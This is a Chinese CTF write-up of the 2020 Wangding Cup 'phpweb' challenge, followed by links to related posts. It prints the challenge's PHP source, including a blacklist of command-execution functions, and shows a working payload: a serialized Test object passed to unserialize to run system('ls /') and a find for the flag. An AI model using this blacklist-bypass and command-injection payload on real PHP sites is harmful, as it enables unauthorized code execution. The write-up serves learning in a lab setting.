萌新通过[网鼎杯 2020 朱雀组]phpweb对php反序列化的进一步了解
作为一个学习ctf时间不长的萌新,之前所做的反序列化题目都是一知半解,只知道这种题目都是一堆class,找eval当链尾,然后组成pop链最后有个执行unserialize的地方,这种题才是php反序列化题目。本题作为一个简单的变式,对我对反序列化的理解有很大的帮助。
首先题目是一个不停刷新的页面,buu靶场没法dirsearch扫只能抓包看看有什么信息,发现post传了两个参数,func=data&p=Y-m-d h:i:s a,这里就可以猜测func是调用的函数名,p是函数的参数,传func=system&p=ls /回显hacker,显然是被过滤了,改变参数仍然回显hacker,那么过滤的就应该是函数名。我们利用文件读取函数来读源文件源码
func=readfile&p=index.php
成功读到源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen",
"dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array",
"call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function",
"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

简单进行代码审计,发现gettime函数就是一个执行命令的函数,要给call_user_func函数传func和p参数,func就是要用的函数名,p是参数。然后一个test类里面有gettime函数,两个传参,两个判断后执行gettime
首先只利用最后两个判断执行命令肯定是行不通的,因为黑名单几乎把所有能用的执行命令的函数全部过滤了。所以这里就要用到反序列化,在最后两个判断中利用第二个gettime函数来unserialize即可。
<?php
class Test {
var $p = "ls /";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$t=new Test();
echo serialize($t);
?>

传入
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

成功执行system('ls /');
而根目录没有flag文件,环境变量中也没有找到,可以用find命令来找名字中带有flag的文件
system("find / -name *flag*")

找到其中最可疑的一个,cat打开拿到flag
萌新通过[网鼎杯 2020 朱雀组]phpweb对php反序列化的进一步了解的更多相关文章
- 刷题[网鼎杯 2020 朱雀组]phpweb
解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...
- BUUCTF | [网鼎杯 2020 朱雀组]phpweb
一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...
- 【网鼎杯2020朱雀组】Web WriteUp
nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...
- [网鼎杯 2020 朱雀组]phpweb-1|反序列化
1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...
- 网鼎杯2020青龙组writeup-web
本文首发于Leon的Blog,如需转载请注明原创地址并联系作者 AreUSerialz 开题即送源码: <?php include("flag.php"); highligh ...
- [网鼎杯 2020 青龙组]AreUSerialz
题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...
- 【网鼎杯2020白虎组】Web WriteUp [picdown]
picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...
- 【网鼎杯2020青龙组】Web WriteUp
AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...
- [网鼎杯2020]boom
[网鼎杯2020]boom 分析 感觉比较友善,主要考查数学运算. 解析 解压之后发现是个exe文件,运行得到一个md5 查询: 输入明文得到: 下个挑战是解三元一次方程: 拿matlab算一下. s ...
- [网鼎杯2020]you_raise_me_up
[网鼎杯2020]you_raise_me_up 目录 [网鼎杯2020]you_raise_me_up 题目 分析 解法一:sage discrete_log()使用示例 补充 解法二:python ...
随机推荐
- 学习高可靠Redis分布式锁实现思路
一.分布式锁的必要性 在单体应用时代,我们使用ReentrantLock或synchronized就能解决线程安全问题.但当系统拆分为分布式架构后(目前大多数公司应该不会只是单体应用了),跨进程的共享 ...
- SpringBoot+微信支付-JSAPI{微信支付回调}
引入微信支付SDK Maven: com.github.wechatpay-apiv3:wechatpay-java-core:0.2.12 Maven: com.github.wechatpay-a ...
- 第一次记录自己的java学习日常,之前都是看其他博主的java知识,现在该自己记录一下了。
对知识做总结 在学校呢,走过了非常多的坑,参加了一些比赛,但是也没有学到什么(含金量高的比赛可以参加,但是需参加之前先沉淀好自己的技术,不要报名了才去准备,得在准备中去报名),学校教的知识都是理论化, ...
- [源码系列:手写spring] AOP第一节:切点表达式
在本专栏之前的文章中已经带大家熟悉了Spirng中核心概念IOC的原理以及手写了核心代码,接下来将继续介绍Spring中另一核心概念AOP. AOP即切面编程是Spring框架中的一个 ...
- 【JDBC第4章】操作BLOB类型字段
第4章:操作BLOB类型字段 4.1 MySQL BLOB类型 MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据. 插入BLOB类型的数据必须使用Pre ...
- Envoy 学习笔记(一)
该系列学习笔记是作者为记录云原生基础架构学习过程而写.若想要详细学习 envoy,大家可以去 tetrate 官网和官方文档中学习. 如果没有任何接触云原生的经验,可以在学习相关概念前,去了解以下概念 ...
- markdown文本编辑器--核心功能(解析和渲染)
开源项目地址 GitHub 开源地址(YtyMark-java) 欢迎提交 PR.Issue.Star ️! 1. 简述 YtyMark-java项目分为两大模块: UI界面(ytyedit-mark ...
- cocos3.x creator常见问题及解决办法
原文地址: cocos3.x creator剪切.动画.物理引擎.碰撞检测等常见问题及解决办法 - 搜栈网 (seekstack.cn)https://www.seekstack.cn/post/4 ...
- Bongo Cat挂机连点刷分教程(Steam版)
Bongo Cat是一个在Steam上风靡一时的游戏,通过每30分钟花费1000点击量赢取配饰并在Steam市场换取$, 这里可以用连点器刷分,最好是键盘,每30ms点击一次,点击时长30ms左右,每 ...
- SQL Server 2025 中的改进
SQL Server 2025 中的改进 当我们接近 SQL Server 2025 的首次公开版本时,开始深入探究 Azure SQL DB 如今(已公布和未公布)但在 SQL Server 盒装产 ...